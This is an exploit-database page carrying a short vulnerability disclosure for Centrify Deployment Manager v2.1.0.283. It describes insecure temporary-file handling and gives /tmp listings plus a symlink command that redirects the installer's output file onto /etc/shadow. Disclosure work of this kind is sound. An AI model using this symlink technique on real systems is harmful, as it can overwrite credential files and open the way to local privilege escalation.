0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Centrify Deployment Manager v2.1.0.283 File Overwrite Vulnerability
[Centrify Deployment Manager v2.1.0.283 While at a training session for centrify, I noticed poor handling of files in /tmp. I was able to overwrite /etc/shadow with the contents of adcheckDMoutput. I am sure there are more vulnerabilities to be exploit, maybe a local root - but being this is a training class I should probably focus..... total 6680 -rwxr-xr-x 1 clyde clyde 6790300 Dec 3 14:41 adcheck-rhel3-i386.210 -rw-rw-r-- 1 clyde clyde 188 Dec 3 14:41 centrify.cmd.210 -rwxr-xr-x 1 root root 187 Dec 3 14:18 engnew-cen.sh drwx------ 2 root root 4096 Dec 3 10:25 vmware-root drwxr-xr-x 7 root root 4096 Nov 30 2010 vmware-tools-distrib [root@engnew-cen tmp]# ls -l total 6680 -rw-rw-rw- 1 root root 3999 Dec 3 14:41 adcheckDMoutput -rwxr-xr-x 1 clyde clyde 6790300 Dec 3 14:41 adcheck-rhel3-i386.210 -rwxr-xr-x 1 root root 187 Dec 3 14:18 engnew-cen.sh drwx------ 2 root root 4096 Dec 3 10:25 vmware-root drwxr-xr-x 7 root root 4096 Nov 30 2010 vmware-tools-distrib [root@engnew-cen tmp]# ls -l total 6688 -rw-rw-rw- 1 root root 3999 Dec 3 14:41 adcheckDMoutput -rwxr-xr-x 1 clyde clyde 6790300 Dec 3 14:41 adcheck-rhel3-i386.210 -rwxr-xr-x 1 clyde clyde 132 Dec 3 14:41 centrify.cmd.210 -rwxr-xr-x 1 root root 187 Dec 3 14:18 engnew-cen.sh drwx------ 2 root root 4096 Dec 3 10:25 vmware-root drwxr-xr-x 7 root root 4096 Nov 30 2010 vmware-tools-distrib [root@engnew-cen tmp]# ls -l total 6672 -rwxr-xr-x 1 clyde clyde 6790300 Dec 3 14:41 adcheck-rhel3-i386.210 -rwxr-xr-x 1 root root 187 Dec 3 14:18 engnew-cen.sh # ln -s /etc/shadow adcheckDMoutput # ls -l /etc/shadow -r-------- 1 root root 3999 Dec 3 14:56 /etc/shadow I am also assuming the .210 appended to the end of files in /tmp is the major version number. Larry W. Cashdollar @_larry0 # 0day.today [2024-11-16] #